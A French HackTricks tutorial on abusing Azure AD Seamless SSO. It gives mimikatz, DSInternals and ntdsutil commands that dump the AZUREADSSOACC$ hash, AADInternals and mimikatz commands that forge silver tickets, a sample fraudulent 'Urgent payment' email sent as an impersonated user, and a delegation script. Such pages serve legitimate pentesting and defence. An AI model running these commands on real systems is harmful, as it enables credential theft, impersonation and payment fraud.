Az - Seamless SSO

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

À partir de la documentation : Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) connecte automatiquement les utilisateurs lorsqu'ils sont sur leurs appareils d'entreprise connectés à votre réseau d'entreprise. Lorsqu'il est activé, les utilisateurs n'ont pas besoin de taper leur mot de passe pour se connecter à Azure AD, et généralement, même pas leur nom d'utilisateur. Cette fonctionnalité permet à vos utilisateurs d'accéder facilement à vos applications basées sur le cloud sans avoir besoin de composants supplémentaires sur site.

Essentiellement, Azure AD Seamless SSO connecte les utilisateurs lorsqu'ils sont sur un PC rejoint à un domaine sur site.

Il est pris en charge à la fois par PHS (Synchronisation de hachage de mot de passe) et PTA (Authentification de passage).

Le SSO de bureau utilise Kerberos pour l'authentification. Lorsqu'il est configuré, Azure AD Connect crée un compte d'ordinateur appelé AZUREADSSOACC$ dans l'AD sur site. Le mot de passe du compte AZUREADSSOACC$ est envoyé en texte clair à Azure AD pendant la configuration.

Les tickets Kerberos sont chiffrés en utilisant le NTHash (MD4) du mot de passe et Azure AD utilise le mot de passe envoyé pour décrypter les tickets.

Azure AD expose un point de terminaison (https://autologon.microsoftazuread-sso.com) qui accepte les tickets Kerberos. Le navigateur de la machine rejointe au domaine transmet les tickets à ce point de terminaison pour le SSO.

Sur site -> cloud

Le mot de passe de l'utilisateur AZUREADSSOACC$ ne change jamais. Par conséquent, un administrateur de domaine pourrait compromettre le hachage de ce compte, puis l'utiliser pour créer des tickets silver pour se connecter à Azure avec n'importe quel utilisateur sur site synchronisé :

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Avec le hash, vous pouvez maintenant générer des tickets silver :

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Pour utiliser le ticket argenté, les étapes suivantes doivent être exécutées :

  1. Démarrer le navigateur : Mozilla Firefox doit être lancé.

  2. Configurer le navigateur :

  3. Accéder à l'application Web :

    • Visiter une application Web intégrée au domaine AAD de l'organisation. Un exemple courant est Office 365.

  4. Processus d'authentification :

    • À l'écran de connexion, saisir le nom d'utilisateur, laissant le champ du mot de passe vide.

    • Pour continuer, appuyer sur TAB ou ENTRÉE.

Cela ne contourne pas l'authentification multifacteur si elle est activée.

Création de tickets Kerberos pour les utilisateurs uniquement dans le cloud

Si les administrateurs d'Active Directory ont accès à Azure AD Connect, ils peuvent définir un SID pour tout utilisateur dans le cloud. De cette manière, des tickets Kerberos peuvent également être créés pour les utilisateurs uniquement dans le cloud. La seule exigence est que le SID soit un SID approprié.

Le changement du SID des utilisateurs administrateurs uniquement dans le cloud est désormais bloqué par Microsoft. Pour plus d'informations, consultez https://aadinternals.com/post/on-prem_admin/

Sur site -> Cloud via la délégation contrainte basée sur les ressources

Toute personne pouvant gérer les comptes d'ordinateur (AZUREADSSOACC$) dans le conteneur ou l'OU où se trouve ce compte peut configurer une délégation contrainte basée sur les ressources sur le compte et y accéder.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Dernière mise à jour